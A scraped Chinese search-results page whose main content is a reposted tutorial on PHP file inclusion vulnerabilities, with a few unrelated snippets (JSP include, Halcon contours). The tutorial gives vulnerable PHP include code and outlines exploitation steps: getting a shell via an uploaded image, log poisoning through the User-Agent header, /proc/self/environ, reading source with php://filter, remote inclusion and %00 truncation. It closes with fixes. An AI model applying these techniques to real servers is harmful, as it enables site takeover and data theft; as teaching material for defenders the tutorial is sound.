精华内容
下载资源
问答
  •  文件包含漏洞的产生原因是在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。...

    一、背景介绍

      随着网站业务的需求,web脚本可能允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执行及敏感信息泄露,主要包括本地文件包含和远程文件包含两种形式。

    二、漏洞成因

      文件包含漏洞的产生原因是在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。被包含的文件在第三方服务器时,就形成了远程文件包含漏洞。

      本地到远程:如果php.ini的配置选项allow_url_fopen和allow_url_include为ON的话,则文件包含函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞。

      include():当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。
      include_once():这个函数跟include函数作用几乎相同,只是他在导入函数之前先检测下该文件是否被导入。如果已经执行一遍那么就不重复执行了。
      require():跟include唯一不同的是,当产生错误时,include下面继续运行而require停止运行了。
      require_once():它的功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。
      看到这四个函数时,看到有参数,且参数可控,没有过滤,或过滤不严,就一定有文件包含漏洞。

      常见漏洞代码:

    if(isset($_GET[page])){
      include $_GET[page];
    } else {
    include "home.php";
    }
    

       触发漏洞的条件:

        web应用采用include()等文件包含函数通过动态变量的方式引入需要包含的文件。

        用户能够控制该动态变量。

    三、漏洞分类

      1.本地文件包含

      2.远程文件包含

      3.文件包含

    四、漏洞危害

      执行恶意脚本代码

      控制网站

      甚至控制服务器

    五、漏洞利用

      1.本地文件包含

        上传图片,包含图片GetShell。

        读文件,读PHP文件。

        包含日志文件GetShell。

        包含/proc/self/environ文件GetShell

        如果有phpinfo可以包含临时文件

        包含data://或php://input等伪协议(需要allow_url_include=On)

      例子:包含上传的图片GetShell_1:

    <?php
        if($_GET[page]){
        include($_GET[page]);
        }else{
        include "show.php";
        }
    ?>
    

     

    GetShell_2:

    <?php
        if($_GET[page]){
        include("./action/".$_GET[page]);
        }else{
        include "./action/show.php"
        }
    ?>
    

     

    GetShell_3:  %00截断

    <?php
        if($_GET[page]){
        include("./action/".$_GET[page].".php");
        }else{
        include "./action/show.php";
        }
    ?>
    

     

      2.读文件   index.php?file=/etc/passwd

        2.1敏感文件(见pdf10)

        2.2读PHP文件       

    http://127.0.0.1/lfi/1/index.php?page=php://filter/read=convert.base64-encode/resource=index.php
    读的结果是一串密文,解密就看出来php代码了
        2.3包含日志文件Getshell(首先找到日志文件存放位置,让日志文件插入php代码,包含日志文件)
          1.首先找到日志文件存放位置 
            文件包含漏洞去读取apache配置文件/etc/httpd/conf/httpd.conf
            php文件错误信息保存在错误日志里面,其他的都保存在正常访问的日志里面/var/log/httpd/access_log
          2.让日志文件插入php代码
            burp改包,curl发包,php代码插入(必须带有php标签的,不能是转码后的)到get请求部分,或者user-agent部分。
          3.包含日志文件

            index.php?page=/var/log/httpd/access_log

        3.包含环境变量文件GetShell

          需要PHP运行在CGI模式、然后和包含日志一样,在User-agent修改成payload。

        4.远程文件包含

          前提是:有远程文件包含漏洞的服务器的php.ini的配置选项allow_url_fopen和allow_url_include为ON。

           远程服务器存放一个txt文件,或者不被解析的php文件。index.php?page=http://www.xxx.com/1.txt

        5.扩展两个伪协议:  

          

    六、漏洞挖掘

      无通用性方法

      特定的CMS,特定的版本可能存在漏洞

      web漏洞扫描器扫描,常见web漏洞扫描器都支持文件包含漏洞的检测。

    七、修复方案

      PHP中可以使用open_basedir配置限制访问限制在指定的区域。

      过滤.(点) /(反斜杠) \(反斜杠)

      禁止服务器远程文件包含

      

      

    转载于:https://www.cnblogs.com/Time-dog/p/5810767.html

    展开全文
  • 一组仅包含源代码的其中包含很少的实用程序代码,这些实用程序代码在整体库中不属于同一类。 这些通常以单个源文件的形式作为内部类添加到项目中,可以很容易地通过NuGet保持最新。 为什么 在通常的“ ”中,谁没有...
  • 背景介绍 ...使用Halcon时经常会遇到一个问题,即选择一个属于其它轮廓子集的小轮廓,如下图中右下角所示的红色轮廓。本文记录一下该问题的解决方法。 图例: 生成的轮廓 代码: *生成...
    • 背景介绍

    使用Halcon时经常会遇到一个问题,即选择一个属于其它轮廓子集的小轮廓,如下图中右下角所示的红色轮廓。本文记录一下该问题的解决方法。

    图例:

                                                                                                      生成的轮廓

    代码:

    
    *生成五个闭合轮廓,其中一个轮廓包含一个小轮廓
    gen_rectangle1 (ROI_0, 284.418, 282.922, 319.063, 315.445)
    dev_clear_window ()
    gen_contour_polygon_xld (Contours, [50,50,150,150,50], [50,150,150,50,50])
    gen_contour_polygon_xld (Contour3, [250,250,350,350,250], [50,150,150,50,50])
    concat_obj (Contours, Contour3, Contours)
    gen_contour_polygon_xld (Contour4, [50,50,150,150,50], [250,350,350,250,250])
    concat_obj (Contours, Contour4, Contours)
    gen_contour_polygon_xld (Contour5, [250,250,350,350,250], [250,350,350,250,250])
    concat_obj (Contours, Contour5, Contours)
    gen_contour_region_xld (ROI_0, Contours1, 'border')
    concat_obj (Contours, Contours1, Contours)
    stop ()
    
    *循环判断
    area_center_xld (Contours, Area, Row1, Column, PointOrder)
    for Index := 0 to |Row1|-1 by 1
        test_xld_point (Contours, Row1[Index], Column[Index], IsInsideContours)   
        if(sum(IsInsideContours) = 2)
            a:=Index+1
            break
        endif
    endfor
    select_shape_xld (Contours, SelectedXLD, 'area', 'and', Area[a], Area[a])
    
    *结果显示
    dev_clear_window ()
    dev_display (SelectedXLD)

     

    展开全文
  • 定义:在jsp编译时插入一个包含文本或者代码的文件(不识别被包含的文件是静态的页面还是动态的页面),这个过程是 静态的,而包含的文件可以是jsp文件,HTML等,先包含,然后再将全部代码一起处理 语法:<%@ ...

    静态包含和动态包含

    • 静态包含(属于指令)

      定义:在jsp编译时插入一个包含文本或者代码的文件(不识别被包含的文件是静态的页面还是动态的页面),这个过程是
      静态的,而包含的文件可以是jsp文件,HTML等,先包含,然后再将全部代码一起处理

            语法:<%@ include file="要包含的文件路径"%>这个是属于指令,属于jsp语法范畴
      
    • 动态包含(属于标签)
      定义:使用jsp:include标签,与静态包含不同的是,动态可以自动区分被包含页面是静态的还是动态的,若是静态的,
      则和静态包含一样,先包含进来,然后和全部代码一起处理,如果是动态的页面,则可以先进行动态的处理,再
      将处理后的结果包含进来

      注意:不能处理被包含页面含有HTML基本标签的问题

      语法:
           1)不传递参数:<jsp:include page="{文件路径|<%=表达式%>}" flush="true/false"/>
            2)传递参数:<jsp:include page="{文件路径|<%=表达式%>}" flush="true/false">
                              <jsp:param name="参数名" value="参数值"/>
                              <jsp:param name="参数名" value="参数值"/>
                       </jsp:include>
      

      这个属于标签,标签属于java范畴

      Flash 的作用
      在同一个 JSP 中,如果不断 include 自己(源文件),在逻辑上会形成死循环。若默认情况下,服务器会等待该文件被读到底端,然后才输出到客户端,并且销毁该次访问的 request 和 response。而当把flush 属性赋为真值时,在缓存累积了一定数据时,服务器会先提供一部分数据给浏览器,并等待后续内容。

      由此可以得出结论,在简单页面中,该属性不纳入考虑,而在页面包含大量数据时,为缩短客户端延迟,可将一部分内容先行输出。该属性在 Servlet 中也有对应的应用。

    • 静态包含与动态包含的区别

      共同点:都将被包含页面包含进去
      不同点:

       	1)语法不同:
             静态包含:<%@ include file="要包含的文件路径"%>
             动态包含:1)不传递参数:<jsp:include page="{文件路径|<%=表达式%>}" flash="true/false"/>
        				2)传递参数:<jsp:include page="{文件路径|<%=表达式%>}" flash="true/false">
       								<jsp:param name="参数名" value="参数值"/>
       								<jsp:param name="参数名" value="参数值"/>
       			 				</jsp:include>
       	2)执行方式不同:
       	   静态包含:不论包含的是静态页面还是动态页面,不区分静态页面还是动态页面,都是先包含然后一起执 行
             动态包含:可以自动区分被包含页面是静态的还是动态的,若是静态的,则和静态包含一样,先包含进来,
                     然后和全部代码一起处理,如果是动态的页面,则可以先进行动态的处理,再将处理后的结果包含进来
       	3)是否能传参:静态包含不能传参
       	   动态包含:如果包含的是静态页面,则不能传递参数,如果包含的是动态页面,则可以传参
       			这里的传参是指当前的页面可以传递参数到被包含的动态页面中,这样,被包含的动态页面可以
       			根据传过去的参数动态的变更页面
      
    • 缺点分析
      静态包含的缺点:被包含页面不能有HTML标签,不能重定义
      动态包含的缺点:不能有html静态标签

    展开全文
  • 文件包含漏洞

    2021-03-22 16:15:07
    相同代码重复出现在不同文件中,造成代码冗余,所以出现了文件包含函数,其可以调用需要使用的代码,被包含的文件会被当做PHP代码执行,忽略后缀本身,使代码更为高效。 攻击者利用包含的特性,且应用本身对文件...

    一、文件包含漏洞简介

    相同代码重复出现在不同文件中,造成代码冗余,所以出现了文件包含函数,其可以调用需要使用的代码,被包含的文件会被当做PHP代码执行,忽略后缀本身,使代码更为高效。

    攻击者利用包含的特性,且应用本身对文件(包含)控制不严格,最终造成攻击者进行任意文件包含。

    注意,包含的文件会被当做脚本文件来解析。

    简单地说,文件包含并不属于漏洞,但是,由于对包含进来的文件不可控,导致了文件包含漏洞的产生,即如果包含文件能被人为控制,就属于漏洞。

    文件包含分为本地文件包含(LFI)和远程文件包含(RFI)。PHP默认不开启远程文件包含,开启远程文件包含需要allow_url_include = On。

    本地文件包含占绝大多数,远程文件包含需要开启PHP配置,但是可以绕过(SMB服务)。

    二、文件包含函数解析

    1、include()

    使用include()函数引用外部文件时,只有当代码执行到include()函数代码段时,调用的外部文件才会被引用并读取,当引用的文件发生错误时,系统只会给出警告错误,而整个PHP文件会继续执行。

    #1.txt文件,将被调用
    <?php
    phpinfo();
    ?>
    
    #include()忽略后缀,即后缀名可以任意写,也可以调用图片马
    
    #本地文件包含
    <?php
    include('1.txt');
    ?>
    
    #远程文件包含
    <?php
    include('http://192.168.12.12/1.txt');
    ?>
    

    2、require()

    PHP在运行前,会将被包含文件中的内容提取出来,整合成新的PHP代码一起执行,如果包含文件不存在或者报错,整个PHP文件就不会执行。

    #require()与include()区别不大
    
    #本地文件包含
    <?php
    require('1.txt');
    ?>
    
    #远程文件包含
    <?php
    require('http://192.168.12.12/1.txt');
    ?>
    

    3、include_once()、require_once()

    如果一个文件已经被包含过了,则不会重复包含。

    如果被导入的文件存在自定义函数,那么在同一个程序中重复导入这个文件,在第二次导入时便会发生错误,因为PHP不允许相同名称的函数被重复声明。

    同时,如果require_once()函数在同一页面中引用了两个不同的文件,那么在输出时,只有第一个文件被执行,第二个引用的文件则不会被执行。

    三、小知识

    “gshfisishfsdksdhfjs”是一个随意的字符串,在相对路径的情况下,被系统理解成一个文件夹,即在相对路径传参的时候可以包含一些特殊字符。
    在这里插入图片描述

    #以下两个传参皆可调用1.txt,不过第二条传参是先进入一个不存在的qwe文件,然后跳出,再调用1.txt文件
    
    #http://192.168.12.12/1.php?8=1.txt
    #http://192.168.12.12/1.php?8=qwe/../1.txt
    
    <?php
    $a=$_REQUEST[8];
    include($a);
    ?>
    

    在PHP中,当PHP解析器遇到问号?,就认为后面是传参,不认为是路径,但是当include()去执行传参的数据时,include()会认为其是路径,所以有可能报错。

    如果遇到包含的文件需要传参时,可以添加一个或者两个&符号

    #假设1.php文件需要调用1.txt文件,1.txt需要一个q传参
    
    http://192.168.12.12/1.php?8=1.txt&q=phpinfo();
    

    四、代码审计方法

    1、通读全文

    通读一次全文,有利于提升自己的能力,可尝试寻找简单的CMS进行审计,例如BlueCMS。

    2、敏感函数定位

    展开全文
  • 实质是先将所包含的文件的内容直接包含入主文件中,然后再一起进行编译,最后再将一份整体的内容展现给用户,属于包含,然后编译  &lt;%@ include file=""%&gt;指令在编写代码的时候一般...
  • 【单选题】在下列经济行为中,属于货币执行流通手段职能的是( )【单选题】28 、资本主义生产过程的二重性是指资本主义生产过程是( )【单选题】能够证明其服务产品特征和价值的凭证,是顾客可以通过五官感知到服务产品...
  • 一句话来说就是:文件包含并不属于漏洞,但是,由于对包含进来的文件不可控,导致了文件包含漏洞的产生。 包含文件很有用,可以简化代码;文件包含分为本地和远程文件包含(需要allow_url_include = On);本地文件...
  • 上图截取于百度文库https://wenku.baidu.com/view/5d6a6d59f342336c1eb91a37f111f18583d00c3d.html 后面图截取单片机原理和接口技术
  • 文件包含漏洞原理

    千次阅读 2018-11-10 11:29:16
    最常见的就属于本地文件包含(Local File Inclusion)漏洞了。 程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般称为...
  • 文件包含并不属于漏洞,简单的理解为公共文件,大家都可以去调用它,由于对包含进来的文件不可控,造成攻击者进行任意文件包含(自定义构造恶意文件),导致文件包含漏洞的产生(注:包含的文件会当成脚本文件来...
  • 一句话来说就是:文件包含并不属于漏洞,但是,由于对包含进来的文件不可控,导致了文件包含漏洞的产生。 包含文件很有用,可以简化代码 文件包含分为本地和远程文件包含(需要allow_url_include=On) 本地文件包含LFI...
  • 隐藏的世界类型,包含各种罕见道具!在创建地图的时候大家都会选择世界类型,但你知道么?除了超平坦,自定义之外的世界类型,还有一种隐藏的类型-调试模式。该也是属于一种游戏模式,主要是用于测试物品材质,...
  • 的NPE(Non-Practicing Entitie,非专利实施主体)使用原属于Atmel公司的专利对联想、微软、三星、戴尔、惠普、摩托罗拉、亚马逊一共七家知名企业提起USITC 337调查,另外同时也在德克萨斯州西区地方法院对上述企业...
  • 隐藏的世界类型,包含各种罕见道具!在创建地图的时候大家都会选择世界类型,但你知道么?除了超平坦,自定义之外的世界类型,还有一种隐藏的类型-调试模式。该也是属于一种游戏模式,主要是用于测试物品材质,...
  • 如果v属于G的每个最小支配集,则图G的顶点v称为通用;如果v不属于G的任何最小支配集,则顶点G称为空闲;如果v既不是通用的也不是空闲的,则该顶点可更改。 一个问题是:到底包含一种或两种这些顶点的树的构造...
  • dvwa系列-文件包含

    千次阅读 2018-05-22 21:24:08
    文件包含说起来也是属于注入的一种,都是由于服务器配置或者对用户输入过滤不严格导致用户可以恶意数据达到自己想要的目的。 对于php来说,常见的文件包含函数有如下: 1.include() 2.include_once() 3.require...
  • (注:包含的文件会当成脚本文件来解析)文件包含本身并不属于漏洞,但是,由于对包含进来的文件不可控,导致了文件包含漏洞的产生。包含文件本身很有用,可以简化代码。2.分类2.1.本地文件包含包含服务器上的资源...
  • 该也是属于一种游戏模式,主要是用于测试物品材质,一般只有模组开发者会使用。如何进入调试模式不能再游戏中直接更改为调试模式,因为玩家必须新建档,创建新的世界后,点击更多世界选项,鼠标指向“世界类型”一栏...
  • 该也是属于一种游戏模式,主要是用于测试物品材质,一般只有模组开发者会使用。如何进入调试模式不能再游戏中直接更改为调试模式,因为玩家必须新建档,创建新的世界后,点击更多世界选项,鼠标指向“世界类型”一栏...
  • 该也是属于一种游戏模式,主要是用于测试物品材质,一般只有模组开发者会使用。 如何进入调试模式 不能再游戏中直接更改为调试模式,因为玩家必须新建档,创建新的世界后,点击更多世界选项,鼠标指向“世界类型”一...
  • 最常见的就属于本地文件包含(Local File Inclusion)漏洞了。 程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般...
  • C# 接口是否可以包含字段

    千次阅读 2017-08-15 13:19:49
    而接口中也包括:方法、属性、索引器、事件等,而字段一般是private类型,封装后成为属性,既然属性是属于接口的,那么接口中包含字段吗? 接口是描述规则的,所以接口是不能实例化的,而字段是必须要分配内存...
  • 即使集合是不可修改的,一旦访问它的代码具有对属于该集合的元素的引用,那么如果该元素不是不可变的,那么它可以更改.如果集合的getter返回一个防御性副本,使新的Set引用新的Student对象并返回而不是原始集合,那么这...
  • 类中可以包含的内容(需要记) 1.成员变量(成员变量属于方法,可以不赋初始值,当创建对象(调用构造方法时)会赋初始值) 2.方法 3.构造方法(特殊的方法):构造方法运行是从执行开始的(代码的是实现过程是先...
  • SqlServer是微软的重型数据库,MySql是轻量级数据库,瑞典的AB公司开发2008年SUN公司收购,而2009 年SUN又甲骨文(Oracle)收购。Oracle是属于重型数据库。大型数据库的好处是:存储量大且查询速度快。轻量级的...
  • 包含数据分析和数据挖掘的学习代码和实战代码 本项目很多内容属于边学边试。参考了书籍,但是很多代码存在过时和错误均我修改。 数据挖掘是最近几年才出现的一个名词,其归根到底的目的就是经过一系列手段处理...
  • Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下普遍使用,是开发和调试JSP 程序的首选。由于Tomcat默认开启的AJP服务(8009端口)存在...
  • JSTL请求重定向、包含、转发标签

    千次阅读 2006-01-03 19:24:00
    导入内容JSP 有两种内置机制可以将来自不同 URL 的内容合并到一...两个标记之间的主要区别在于: include 伪指令在页面编译期间合并被包含的内容,而 操作却在请求处理 JSP 页面时进行。 从本质上讲, core 库的 操作是

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 3,488
精华内容 1,395
关键字:

属于被属于包含被包含